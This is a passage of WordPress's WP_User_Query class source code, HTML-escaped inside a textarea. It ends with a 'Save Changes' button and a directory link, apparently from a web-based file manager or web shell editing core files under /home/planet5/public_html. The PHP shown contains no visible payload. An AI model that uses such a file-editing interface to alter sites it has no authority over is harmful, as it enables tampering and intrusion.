		 * Fires after the WP_User_Query has been parsed, and before
		 * the query is executed.
		 *
		 * The passed WP_User_Query object contains SQL parts formed
		 * from parsing the given query.
		 *
		 * @since 3.1.0
		 *
		 * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference).
		 */
		do_action_ref_array( &#039;pre_user_query&#039;, array( &amp;$this ) );
	}

	/**
	 * Executes the query, with the current variables.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function query() {
		global $wpdb;

		if ( ! did_action( &#039;plugins_loaded&#039; ) ) {
			_doing_it_wrong(
				&#039;WP_User_Query::query&#039;,
				sprintf(
				/* translators: %s: plugins_loaded */
					__( &#039;User queries should not be run before the %s hook.&#039; ),
					&#039;&lt;code&gt;plugins_loaded&lt;/code&gt;&#039;
				),
				&#039;6.1.1&#039;
			);
		}

		$qv =&amp; $this-&gt;query_vars;

		// Do not cache results if more than 3 fields are requested.
		if ( is_array( $qv[&#039;fields&#039;] ) &amp;&amp; count( $qv[&#039;fields&#039;] ) &gt; 3 ) {
			$qv[&#039;cache_results&#039;] = false;
		}

		/**
		 * Filters the users array before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress&#039; default user queries.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `total_users` property of the WP_User_Query object, passed to the filter
		 * by reference. If WP_User_Query does not perform a database query, it will not
		 * have enough information to generate these values itself.
		 *
		 * @since 5.1.0
		 *
		 * @param array|null    $results Return an array of user data to short-circuit WP&#039;s user query
		 *                               or null to allow WP to run its normal queries.
		 * @param WP_User_Query $query   The WP_User_Query instance (passed by reference).
		 */
		$this-&gt;results = apply_filters_ref_array( &#039;users_pre_query&#039;, array( null, &amp;$this ) );

		if ( null === $this-&gt;results ) {
			// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
			$this-&gt;request =
				&quot;SELECT {$this-&gt;query_fields}
				 {$this-&gt;query_from}
				 {$this-&gt;query_where}
				 {$this-&gt;query_orderby}
				 {$this-&gt;query_limit}&quot;;
			$cache_value   = false;
			$cache_key     = $this-&gt;generate_cache_key( $qv, $this-&gt;request );
			$cache_group   = &#039;user-queries&#039;;
			$last_changed  = $this-&gt;get_cache_last_changed( $qv );

			if ( $qv[&#039;cache_results&#039;] ) {
				$cache_value = wp_cache_get_salted( $cache_key, $cache_group, $last_changed );
			}
			if ( false !== $cache_value ) {
				$this-&gt;results     = $cache_value[&#039;user_data&#039;];
				$this-&gt;total_users = $cache_value[&#039;total_users&#039;];
			} else {

				if ( is_array( $qv[&#039;fields&#039;] ) ) {
					$this-&gt;results = $wpdb-&gt;get_results( $this-&gt;request );
				} else {
					$this-&gt;results = $wpdb-&gt;get_col( $this-&gt;request );
				}

				if ( isset( $qv[&#039;count_total&#039;] ) &amp;&amp; $qv[&#039;count_total&#039;] ) {
					/**
					 * Filters SELECT FOUND_ROWS() query for the current WP_User_Query instance.
					 *
					 * @since 3.2.0
					 * @since 5.1.0 Added the `$query` parameter.
					 *
					 * @global wpdb $wpdb WordPress database abstraction object.
					 *
					 * @param string        $sql   The SELECT FOUND_ROWS() query for the current WP_User_Query.
					 * @param WP_User_Query $query The current WP_User_Query instance.
					 */
					$found_users_query = apply_filters( &#039;found_users_query&#039;, &#039;SELECT FOUND_ROWS()&#039;, $this );

					$this-&gt;total_users = (int) $wpdb-&gt;get_var( $found_users_query );
				}

				if ( $qv[&#039;cache_results&#039;] ) {
					$cache_value = array(
						&#039;user_data&#039;   =&gt; $this-&gt;results,
						&#039;total_users&#039; =&gt; $this-&gt;total_users,
					);
					wp_cache_set_salted( $cache_key, $cache_value, $cache_group, $last_changed );
				}
			}
		}

		if ( ! $this-&gt;results ) {
			return;
		}
		if (
			is_array( $qv[&#039;fields&#039;] ) &amp;&amp;
			isset( $this-&gt;results[0]-&gt;ID )
		) {
			foreach ( $this-&gt;results as $result ) {
				$result-&gt;id = $result-&gt;ID;
			}
		} elseif ( &#039;all_with_meta&#039; === $qv[&#039;fields&#039;] || &#039;all&#039; === $qv[&#039;fields&#039;] ) {
			if ( function_exists( &#039;cache_users&#039; ) ) {
				cache_users( $this-&gt;results );
			}

			$r = array();
			foreach ( $this-&gt;results as $userid ) {
				if ( &#039;all_with_meta&#039; === $qv[&#039;fields&#039;] ) {
					$r[ $userid ] = new WP_User( $userid, &#039;&#039;, $qv[&#039;blog_id&#039;] );
				} else {
					$r[] = new WP_User( $userid, &#039;&#039;, $qv[&#039;blog_id&#039;] );
				}
			}

			$this-&gt;results = $r;
		}
	}

	/**
	 * Retrieves query variable.
	 *
	 * @since 3.5.0
	 *
	 * @param string $query_var Query variable key.
	 * @return mixed
	 */
	public function get( $query_var ) {
		return $this-&gt;query_vars[ $query_var ] ?? null;
	}

	/**
	 * Sets query variable.
	 *
	 * @since 3.5.0
	 *
	 * @param string $query_var Query variable key.
	 * @param mixed  $value     Query variable value.
	 */
	public function set( $query_var, $value ) {
		$this-&gt;query_vars[ $query_var ] = $value;
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @param bool     $wild    Whether to allow wildcard searches. Default is false for Network Admin, true for single site.
	 *                          Single site allows leading and trailing wildcards, Network Admin only trailing.
	 * @return string
	 */
	protected function get_search_sql( $search, $columns, $wild = false ) {
		global $wpdb;

		$searches      = array();
		$leading_wild  = ( &#039;leading&#039; === $wild || &#039;both&#039; === $wild ) ? &#039;%&#039; : &#039;&#039;;
		$trailing_wild = ( &#039;trailing&#039; === $wild || &#039;both&#039; === $wild ) ? &#039;%&#039; : &#039;&#039;;
		$like          = $leading_wild . $wpdb-&gt;esc_like( $search ) . $trailing_wild;

		foreach ( $columns as $column ) {
			if ( &#039;ID&#039; === $column ) {
				$searches[] = $wpdb-&gt;prepare( &quot;$column = %s&quot;, $search );
			} else {
				$searches[] = $wpdb-&gt;prepare( &quot;$column LIKE %s&quot;, $like );
			}
		}

		return &#039; AND (&#039; . implode( &#039; OR &#039;, $searches ) . &#039;)&#039;;
	}

	/**
	 * Returns the list of users.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of results.
	 */
	public function get_results() {
		return $this-&gt;results;
	}

	/**
	 * Returns the total number of users for the current query.
	 *
	 * @since 3.1.0
	 *
	 * @return int Number of total users.
	 */
	public function get_total() {
		return $this-&gt;total_users;
	}

	/**
	 * Parses and sanitizes &#039;orderby&#039; keys passed to the user query.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string Value to used in the ORDER clause, if `$orderby` is valid.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$meta_query_clauses = $this-&gt;meta_query-&gt;get_clauses();

		$_orderby = &#039;&#039;;
		if ( in_array( $orderby, array( &#039;login&#039;, &#039;nicename&#039;, &#039;email&#039;, &#039;url&#039;, &#039;registered&#039; ), true ) ) {
			$_orderby = &#039;user_&#039; . $orderby;
		} elseif ( in_array( $orderby, array( &#039;user_login&#039;, &#039;user_nicename&#039;, &#039;user_email&#039;, &#039;user_url&#039;, &#039;user_registered&#039; ), true ) ) {
			$_orderby = $orderby;
		} elseif ( &#039;name&#039; === $orderby || &#039;display_name&#039; === $orderby ) {
			$_orderby = &#039;display_name&#039;;
		} elseif ( &#039;post_count&#039; === $orderby ) {
			// @todo Avoid the JOIN.
			$where             = get_posts_by_author_sql( &#039;post&#039; );
			$this-&gt;query_from .= &quot; LEFT OUTER JOIN (
				SELECT post_author, COUNT(*) as post_count
				FROM $wpdb-&gt;posts
				$where
				GROUP BY post_author
			) p ON ({$wpdb-&gt;users}.ID = p.post_author)&quot;;
			$_orderby          = &#039;post_count&#039;;
		} elseif ( &#039;ID&#039; === $orderby || &#039;id&#039; === $orderby ) {
			$_orderby = &#039;ID&#039;;
		} elseif ( &#039;meta_value&#039; === $orderby || $this-&gt;get( &#039;meta_key&#039; ) === $orderby ) {
			$_orderby = &quot;$wpdb-&gt;usermeta.meta_value&quot;;
		} elseif ( &#039;meta_value_num&#039; === $orderby ) {
			$_orderby = &quot;$wpdb-&gt;usermeta.meta_value+0&quot;;
		} elseif ( &#039;include&#039; === $orderby &amp;&amp; ! empty( $this-&gt;query_vars[&#039;include&#039;] ) ) {
			$include     = wp_parse_id_list( $this-&gt;query_vars[&#039;include&#039;] );
			$include_sql = implode( &#039;,&#039;, $include );
			$_orderby    = &quot;FIELD( $wpdb-&gt;users.ID, $include_sql )&quot;;
		} elseif ( &#039;nicename__in&#039; === $orderby ) {
			$sanitized_nicename__in = array_map( &#039;esc_sql&#039;, $this-&gt;query_vars[&#039;nicename__in&#039;] );
			$nicename__in           = implode( &quot;&#039;,&#039;&quot;, $sanitized_nicename__in );
			$_orderby               = &quot;FIELD( user_nicename, &#039;$nicename__in&#039; )&quot;;
		} elseif ( &#039;login__in&#039; === $orderby ) {
			$sanitized_login__in = array_map( &#039;esc_sql&#039;, $this-&gt;query_vars[&#039;login__in&#039;] );
			$login__in           = implode( &quot;&#039;,&#039;&quot;, $sanitized_login__in );
			$_orderby            = &quot;FIELD( user_login, &#039;$login__in&#039; )&quot;;
		} elseif ( isset( $meta_query_clauses[ $orderby ] ) ) {
			$meta_clause = $meta_query_clauses[ $orderby ];
			$_orderby    = sprintf( &#039;CAST(%s.meta_value AS %s)&#039;, esc_sql( $meta_clause[&#039;alias&#039;] ), esc_sql( $meta_clause[&#039;cast&#039;] ) );
		}

		return $_orderby;
	}

	/**
	 * Generate cache key.
	 *
	 * @since 6.3.0
	 * @since 6.9.0 The `$args` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array  $deprecated Unused.
	 * @param string $sql        SQL statement.
	 * @return string Cache key.
	 */
	protected function generate_cache_key( array $deprecated, $sql ) {
		global $wpdb;

		// Replace wpdb placeholder in the SQL statement used by the cache key.
		$sql = $wpdb-&gt;remove_placeholder_escape( $sql );

		$key = md5( $sql );

		return &quot;get_users:$key&quot;;
	}

	/**
	 * Retrieves the last changed cache timestamp for users and optionally posts.
	 *
	 * @since 6.9.0
	 *
	 * @param array $args Query arguments.
	 * @return string[] The last changed timestamp string for the relevant cache groups.
	 */
	protected function get_cache_last_changed( array $args ) {
		$last_changed = (array) wp_cache_get_last_changed( &#039;users&#039; );

		if ( empty( $args[&#039;orderby&#039;] ) ) {
			// Default order is by &#039;user_login&#039;.
			$ordersby = array( &#039;user_login&#039; =&gt; &#039;&#039; );
		} elseif ( is_array( $args[&#039;orderby&#039;] ) ) {
			$ordersby = $args[&#039;orderby&#039;];
		} else {
			// &#039;orderby&#039; values may be a comma- or space-separated list.
			$ordersby = preg_split( &#039;/[,\s]+/&#039;, $args[&#039;orderby&#039;] );
		}

		$blog_id = 0;
		if ( isset( $args[&#039;blog_id&#039;] ) ) {
			$blog_id = absint( $args[&#039;blog_id&#039;] );
		}

		if ( $args[&#039;has_published_posts&#039;] || in_array( &#039;post_count&#039;, $ordersby, true ) ) {
			$switch = $blog_id &amp;&amp; get_current_blog_id() !== $blog_id;
			if ( $switch ) {
				switch_to_blog( $blog_id );
			}

			$last_changed[] = wp_cache_get_last_changed( &#039;posts&#039; );

			if ( $switch ) {
				restore_current_blog();
			}
		}

		return $last_changed;
	}

	/**
	 * Parses an &#039;order&#039; query variable and casts it to ASC or DESC as necessary.
	 *
	 * @since 4.2.0
	 *
	 * @param string $order The &#039;order&#039; query variable.
	 * @return string The sanitized &#039;order&#039; query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return &#039;DESC&#039;;
		}

		if ( &#039;ASC&#039; === strtoupper( $order ) ) {
			return &#039;ASC&#039;;
		} else {
			return &#039;DESC&#039;;
		}
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Getting a dynamic property is deprecated.
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this-&gt;compat_fields, true ) ) {
			return $this-&gt;$name;
		}

		wp_trigger_error(
			__METHOD__,
			&quot;The property `{$name}` is not declared. Getting a dynamic property is &quot; .
			&#039;deprecated since version 6.4.0! Instead, declare the property on the class.&#039;,
			E_USER_DEPRECATED
		);
		return null;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Setting a dynamic property is deprecated.
	 *
	 * @param string $name  Property to check if set.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( in_array( $name, $this-&gt;compat_fields, true ) ) {
			$this-&gt;$name = $value;
			return;
		}

		wp_trigger_error(
			__METHOD__,
			&quot;The property `{$name}` is not declared. Setting a dynamic property is &quot; .
			&#039;deprecated since version 6.4.0! Instead, declare the property on the class.&#039;,
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Checking a dynamic property is deprecated.
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this-&gt;compat_fields, true ) ) {
			return isset( $this-&gt;$name );
		}

		wp_trigger_error(
			__METHOD__,
			&quot;The property `{$name}` is not declared. Checking `isset()` on a dynamic property &quot; .
			&#039;is deprecated since version 6.4.0! Instead, declare the property on the class.&#039;,
			E_USER_DEPRECATED
		);
		return false;
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Unsetting a dynamic property is deprecated.
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		if ( in_array( $name, $this-&gt;compat_fields, true ) ) {
			unset( $this-&gt;$name );
			return;
		}

		wp_trigger_error(
			__METHOD__,
			&quot;A property `{$name}` is not declared. Unsetting a dynamic property is &quot; .
			&#039;deprecated since version 6.4.0! Instead, declare the property on the class.&#039;,
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( &#039;get_search_sql&#039; === $name ) {
			return $this-&gt;get_search_sql( ...$arguments );
		}
		return false;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-includes'>⬅ Back to Directory</a>